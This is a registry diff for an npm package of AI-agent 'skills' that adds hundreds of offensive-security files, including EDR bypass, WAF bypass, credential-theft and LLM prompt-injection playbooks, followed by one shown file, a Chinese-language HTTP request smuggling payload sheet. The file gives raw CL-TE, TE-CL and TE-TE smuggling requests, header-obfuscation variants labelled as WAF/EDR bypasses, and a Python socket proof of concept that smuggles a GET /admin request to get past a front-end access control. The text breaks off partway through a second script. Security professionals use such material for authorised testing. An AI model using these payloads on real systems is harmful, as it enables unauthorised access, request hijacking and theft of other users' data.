opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,854 @@
1
+ # 请求走私
2
+
3
+ _4 条 web payload_
4
+
5
+ ### CL-TE请求走私 `smuggling-cl-te`
6
+ _Content-Length与Transfer-Encoding走私_
7
+ 子类:**CL-TE** · tags: `smuggling` `request` `http`
8
+
9
+ **前置条件:**
10
+ - 目标使用多层代理
11
+ - 前后端处理差异
12
+
13
+ **攻击链:**
14
+
15
+ **CL-TE基础**
16
+ > CL-TE走私
17
+ ```
18
+ POST / HTTP/1.1
19
+ Host: target.com
20
+ Content-Length: 13
21
+ Transfer-Encoding: chunked
22
+
23
+ 0
24
+
25
+ SMUGGLED
26
+ ```
27
+ **语法解析:**
28
+ - `Content-Length` — 前端代理使用CL _header_
29
+ - `Transfer-Encoding` — 后端服务器使用TE _header_
30
+
31
+ **TE-CL基础**
32
+ > TE-CL走私
33
+ ```
34
+ POST / HTTP/1.1
35
+ Host: target.com
36
+ Content-Length: 3
37
+ Transfer-Encoding: chunked
38
+
39
+ 8
40
+ SMUGGLED
41
+ 0
42
+
43
+
44
+ ```
45
+ **语法解析:**
46
+ - `Transfer-Encoding` — 前端代理使用TE _header_
47
+ - `Content-Length` — 后端服务器使用CL _header_
48
+
49
+ **TE-TE**
50
+ > TE-TE走私
51
+ ```
52
+ POST / HTTP/1.1
53
+ Host: target.com
54
+ Transfer-Encoding: chunked
55
+ Transfer-Encoding: x
56
+
57
+ 0
58
+
59
+ SMUGGLED
60
+ ```
61
+ **语法解析:**
62
+ - `Transfer-Encoding: x` — 混淆TE头 _header_
63
+
64
+ **WAF/EDR 绕过变体:**
65
+
66
+ **TE头混淆变体**
67
+ > 通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私
68
+ ```
69
+ # TE头混淆(使前/后端对TE解析不一致):
70
+ Transfer-Encoding: chunked
71
+
72
+ Transfer-Encoding : chunked
73
+
74
+ Transfer-Encoding: xchunked
75
+
76
+ Transfer-Encoding: chunked
77
+ Transfer-Encoding: x
78
+
79
+ Transfer-Encoding:[tab]chunked
80
+
81
+ X: x
82
+ Transfer-Encoding: chunked
83
+
84
+ Transfer-Encoding
85
+ : chunked
86
+ ```
87
+ **语法解析:**
88
+ - `# TE头混淆(使前/后端对TE解析不一致):` — 主要命令 _command_
89
+ - `...` — 共9行 _value_
90
+
91
+ **Chunked扩展字段与CL-TE组合利用**
92
+ > 利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求
93
+ ```
94
+ # Chunked扩展字段(RFC允许的分号后扩展):
95
+ POST / HTTP/1.1
96
+ Host: target.com
97
+ Content-Length: 6
98
+ Transfer-Encoding: chunked
99
+
100
+ 0;ext="injected"
101
+
102
+ G
103
+
104
+ # CL-0走私:
105
+ POST / HTTP/1.1
106
+ Host: target.com
107
+ Content-Length: 0
108
+ Transfer-Encoding: chunked
109
+
110
+ GET /admin HTTP/1.1
111
+ Host: target.com
112
+
113
+
114
+ ```
115
+ **语法解析:**
116
+ - `# Chunked扩展字段(RFC允许的分号后扩展):` — 主要命令 _command_
117
+ - `...` — 共14行 _value_
118
+
119
+
120
+ **概述:** HTTP请求走私(CL-TE类型)利用前端服务器(如反向代理)和后端服务器对Content-Length和Transfer-Encoding头的不同优先级解析,将一个恶意请求"走私"到另一个正常请求中,实现绕过安全控制、请求劫持、缓存投毒等攻击效果
121
+
122
+ **漏洞原理:** HTTP/1.1规范允许Content-Length和Transfer-Encoding同时存在时,Transfer-Encoding优先。但不同服务器实现不一致:前端可能优先使用Content-Length确定请求边界,后端优先使用Transfer-Encoding。这种解析差异导致前端认为的一个请求在后端被拆分为两个请求
123
+
124
+ **利用方法:** 首先通过时序差异(Timing)技术探测是否存在CL-TE走私漏洞,构造包含Content-Length和Transfer-Encoding: chunked的请求,使前端按CL解析为一个完整请求转发,后端按TE解析后剩余部分成为下一个请求的前缀,然后利用走私的前缀实现请求劫持、绕过访问控制、窃取其他用户的请求数据
125
+
126
+ **防御措施:** 前后端统一使用HTTP/2协议避免解析歧义;配置前端代理规范化(Normalize)请求头,拒绝含有歧义头的请求;后端服务器配置拒绝同时包含Content-Length和Transfer-Encoding的请求;部署请求走私专用检测规则;使用端到端加密防止中间件篡改请求
127
+
128
+ ---
129
+
130
+ ### CL-CL走私 `smuggling-cl-cl`
131
+ _利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私_
132
+ 子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
133
+
134
+ **前置条件:**
135
+ - 存在前端代理(如HAProxy/Nginx)+后端服务器架构
136
+ - 两端对Content-Length头的解析存在差异
137
+ - 理解HTTP请求走私原理
138
+
139
+ **攻击链:**
140
+
141
+ **检测CL-CL走私条件**
142
+ > 探测目标是否存在双CL走私条件
143
+ _platform: linux_
144
+ ```
145
+ # 检测前端代理类型:
146
+ curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
147
+
148
+ # 发送包含两个Content-Length的请求:
149
+ curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
150
+
151
+ # 观察响应:
152
+ # - 如果正常返回: 可能只解析了一个CL
153
+ # - 如果400/错误: 服务器拒绝多CL(安全)
154
+ # - 如果部分处理: 存在走私可能
155
+ ```
156
+ **语法解析:**
157
+ - `-H "Content-Length: 6"` — 第一个CL头,前端可能使用这个 _parameter_
158
+ - `-H "Content-Length: 0"` — 第二个CL头,后端可能使用这个 _parameter_
159
+
160
+ **CL-CL请求走私POC**
161
+ > 构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列
162
+ ```
163
+ # Python POC - CL-CL走私
164
+ import socket
165
+
166
+ def smuggle_cl_cl(host, port):
167
+ payload = (
168
+ "POST / HTTP/1.1
169
+ "
170
+ f"Host: {host}
171
+ "
172
+ "Content-Length: 44
173
+ " # 前端使用这个CL
174
+ "Content-Length: 0
175
+ " # 后端使用这个CL
176
+ "
177
+ "
178
+ "GET /admin HTTP/1.1
179
+ " # 走私的请求
180
+ f"Host: {host}
181
+ "
182
+ "
183
+ "
184
+ )
185
+ s = socket.socket()
186
+ s.connect((host, port))
187
+ s.send(payload.encode())
188
+ resp = s.recv(4096).decode(errors="ignore")
189
+ print(resp)
190
+ s.close()
191
+
192
+ smuggle_cl_cl("target.com", 80)
193
+ ```
194
+ **语法解析:**
195
+ - `Content-Length: 44` — 前端代理解析的CL值,包含走私请求的长度 _value_
196
+ - `Content-Length: 0` — 后端解析的CL值,认为body为空 _value_
197
+ - `GET /admin` — 走私注入的第二个请求,被后端作为独立请求处理 _value_
198
+
199
+ **利用CL-CL走私绕过前端访问控制**
200
+ > 利用CL-CL走私绕过前端代理的ACL访问限制访问/admin
201
+ ```
202
+ # 场景:前端限制/admin访问,通过走私绕过
203
+ import socket
204
+
205
+ def bypass_acl(host, port):
206
+ # 走私请求到/admin端点
207
